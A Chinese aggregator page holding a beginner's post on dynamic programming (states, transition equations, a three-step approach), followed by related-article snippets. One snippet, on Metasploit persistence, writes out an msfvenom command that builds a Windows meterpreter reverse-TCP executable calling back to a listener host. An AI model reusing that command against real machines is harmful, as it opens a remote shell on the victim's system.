dp动态规划的基本

在平时刷题的过程中,总会有一些题目让人无法下手,比如什么最长上升子序列,最长公共子序列,01背包…当你去了解它时,你会知道它们叫一个统一的名字 ----动态规划(dp),这是什么东西?,规划动态的东西?
动态规划到底是何方神圣呢?动态规划算法有什么用呢?这些问题在这篇文章我都会为你解答

dp到底是什么

dp它也就是动态规划英文dynamic programming的缩写而已,当然,它也被叫做状态,什么是状态呢?他就好比你写数学题,解方程设的那个x罢了,在真实的题目中,要用动态规划解题就必须要先设状态,如我设dp[i]为前i项的最长上升子序列,dp[i]为最长上升子序列的长度,如我设dp[i][j]为前i个物品的z重量为j,价值为dp[i][j]…dp的状态各种各样,可以是一维,可以是二维,可以是三维,可以是四维…这就是dp的状态

只有dp就可以了吗?

我能肯定的告诉,不行,这就像你写数学题解方程,x设过了,就不代表你把方程给列出来了,不代表你把他给解出来了。这时,按照解“方程”,我们应该到了列方程了,不过动态规划里的“方程”和解“方程”是同步进行的,称作-----状态转移方程。怎么理解呢?就是我们设的状态他是动态的,而我们平时设的数组是静态的,这俩虽同为数组,却意义不同,这就是为了给现在的状态转移方程铺垫,你想想如果为静态,怎么转移,转移就是转移答案,所以状态转移方程就是用来转移答案的。什么?你问我为什么要转移?那我能说,dp他本身是分成子问题一个一个解的,一个子问题又要再分子问题,所以答案解完后要递归回去,再解决掉,然后再递归回去…重复的去干,这其实是一种动态的转移。

状态转移方程有哪些?

状态转移方程分为递推类,如找规律,数组递推这种,背包问题,这就是要加贪心策略了(贪心+动规等于更贪(doge)),树状类,图论类,区间类…只有你想不到,没有他用不到

动态规划可以解决哪些题?

动态规划其实就是求最值的一种算法,和贪心类似,但贪心解决不了的题动规能解决,前提得有状态,不然就不行

好了基本的东西说完了,最后跟大家再分享下动规的策略吧
1.设状态
2.确定状态转移方程
3.确定答案

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/749437.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

24计算机考研调剂 | 哈尔滨理工大学

中科院系统单位(自动化学科)与哈尔滨理工大学联合培养招收调剂生 考研调剂招生信息 学校:哈尔滨理工大学 专业:工学->计算机科学与技术 工学->控制科学与工程 工学->软件工程 年级:2024 招生人数:4 招生状态:正在招生中 联系方式:******…

SQLite数据库使用指南以及相关API编程

SQLite介绍 SQLite是一种基于C语言开发的轻量级、快速、自包含、高可靠性和全功能的SQL数据库引擎。它是全球范围内使用最为广泛的数据库引擎,被嵌入到所有移动设备和大部分计算机中,并且伴随着无数日常使用的应用程序一起提供。SQLite的文件格式具有稳…

渗透测试框架权限维持技术——Persistence模块

测试环境: kali win7 测试步骤: 1.利用MSF编写远控程序 msfvenom -p windows/meterpreter/reverse_tcp lhost10.0.0.163 lport55555 -f exe -o 5555.exe-p 漏洞利用payload lhost 监听地址(kali地址) lport 监听端口&#xf…

Pikachu 靶场搭建

文章目录 环境说明1 Pikachu 简介2 Pikachu 安装 环境说明 操作系统:Windows 10PHPStudy 版本: 8.1.1.3Apache 版本:2.4.39MySQL 版本 5.7.26 1 Pikachu 简介 Pikachu是一个使用“PHP MySQL” 开发、包含常见的Web安全漏洞、适合Web渗透测试学习人员练…

面向对象的特征

封装、继承和多态。 访问修饰符范围private类内default包内protected包内,非同包子类public公共的 封装 封装是将对象的状态信息隐藏在对象内部,不允许外部程序直接访问到对象内部信息,通过该类中的方法对内部信息进行操作和访问。 继承 继…

如何在数据库中使用sql语言插入数据

在SQL中,你可以使用INSERT INTO语句来添加数据到数据库表中。以下是一个基本示例,说明如何向表中插入数据: 假设你有一个名为students的表,它有以下字段:id, name, age 和 grade。 CREATE TABLE students ( id INT P…

Leet code 179 最大数

解题思路 贪心算法 贪心算法就是走一步看一步 每一步都取当前位置的最优解 这题我们该如何贪呢? 我们先把int数组转换为string数组 以示例2为例 3 30 34 5 9 排序哪个在前哪个在后? 3 30 (330)> 30 3 (30…

【Poi-tl Documentation】区块对标签显示隐藏改造

前置说明&#xff1a; <dependency><groupId>com.deepoove</groupId><artifactId>poi-tl</artifactId><version>1.12.1</version> </dependency>模板&#xff1a; 删除行表格测试.docx 改造前测试效果 package run.siyuan…

宠物疾病 与 光线疗法

人类与动物以及大自然是相辅相成的。人离开动物将无法生存&#xff0c;对于动物我们尽力去保护&#xff0c;与大自然和谐稳定生存发展。 生息在地球上的所有动物、在自然太阳光奇妙的作用下、生长发育。太阳光的能量使它们不断进化、繁衍种族。现在、生物能够生存、全仰仗于太…

【Python使用】python高级进阶知识md总结第4篇:静态Web服务器-命令行启动动态绑定端口号,html 的介绍【附代码文档】

python高级进阶全知识知识笔记总结完整教程&#xff08;附代码资料&#xff09;主要内容讲述&#xff1a;操作系统&#xff0c;虚拟机软件&#xff0c;Ubuntu操作系统&#xff0c;Linux内核及发行版&#xff0c;查看目录命令&#xff0c;切换目录命令&#xff0c;绝对路径和相对…

Linux 安装 Gitblit

1.下载Gitblit 官网地址&#xff1a;Gitblit&#xff0c;目前最新的是1.9.3 2.上传到服务器 ①在服务器上新建目录&#xff1a;/usr/local/gitblit ②将下载的文件上传到服务器&#xff1a;/usr/local/gitblit/gitblit-1.9.3.tar.gz ③解压文件&#xff1a; cd /usr/local…

12、MongoDB -- 通过 SpringBoot 整合 Spring Data MongoDB 操作 MongoDB 数据库(传统的同步API编程)

目录 通过 SpringBoot 整合 Spring Data MongoDB 操作 MongoDB 数据库&#xff08;传统的同步API编程&#xff09;演示前提&#xff1a;登录单机模式的 mongodb 服务器命令登录【test】数据库的 mongodb 客户端命令登录【admin】数据库的 mongodb 客户端命令 代码演示同步API编…

加速数字化金融转型,小赢卡贷创新服务中小微企业

自2013年党的十八届三中全会正式提出“发展普惠金融”以来,我国普惠金融事业取得了长足发展,但在新发展形势下,普惠金融发展仍面临诸多问题和挑战。 为构建高水平普惠金融体系,进一步推进普惠金融高质量发展,去年10月,国务院印发《关于推进普惠金融高质量发展的实施意见》,意见…

CSS样式文本

提示:本文为学习记录,若有错误,请联系作者,谦虚受教。 文章目录 前言一、CSS二、颜色总结前言 一、CSS .QWidget{border:0px solid #8FBC8F;border-radius:0px;/*background-color:#FFFFFF*/ }QWidget#MainWindow,QWidget#Widget,QWidget#frame_menu,QWidget#eeprom{back…

欧科云链:比特币现货ETF后时代,链上数据揭示真实供需关系

出品&#xff5c;欧科云链研究院 作者&#xff5c;Hedy Bi 本文于3月11日首发TechFlow深潮&#xff0c;原标题为《比特币现货ETF通过后的2个月&#xff1a;链上数据揭示BTC供不应求》。文中观点纯属笔者基于链上数据进行分析&#xff0c;不构成对任何潜在投资目标的推荐或意见…

二刷代码随想录算法训练营第二十五天 | 216.组合总和III 17.电话号码的字母组合

目录 一、216. 组合总和 III 二、17.电话号码的字母组合 一、216. 组合总和 III 题目链接&#xff1a;力扣 文章讲解&#xff1a;代码随想录 视频讲解&#xff1a;和组合问题有啥区别&#xff1f;回溯算法如何剪枝&#xff1f;| LeetCode&#xff1a;216.组合总和III 题目&…

双指针、bfs与图论

1238. 日志统计 - AcWing题库 import java.util.*;class PII implements Comparable<PII>{int x, y;public PII(int x, int y){this.x x;this.y y;}public int compareTo(PII o){return Integer.compare(x, o.x);} }public class Main{static int N 100010, D, K;st…

Wings与c++test自动单元测试

Wings与c test 参考 Wings与c test都是用于生成单元测试驱动框架的工具。两者差异在于以下几点&#xff1a; 1.基本普通类型&#xff0c;wings与c test生成用例大致相同&#xff0c;wings采用随机生成一组或者多组数值&#xff0c;而c test依据临界值生成固定的随机数。 例如…

数字电子技术实验(四)

单选题 1.组合逻辑电路中产生竞争冒险的原因是&#xff1f; A. 电路没有最简化 。 B. 时延 。 C. 电路有多个输出。 D. 逻辑门的类型不同。 答案&#xff1a;B 评语&#xff1a;10分 单选题 2.下列表达式不存在竞争冒险的有&#xff1f; 答案&#xff1a;A 评语&#x…

深度强化学习(七)策略梯度

深度强化学习(七)策略梯度 策略学习的目的是通过求解一个优化问题&#xff0c;学出最优策略函数或它的近似函数&#xff08;比如策略网络&#xff09; 一.策略网络 假设动作空间是离散的,&#xff0c;比如 A { 左 , 右 , 上 } \cal A\{左,右,上\} A{左,右,上}&#xff0c;策…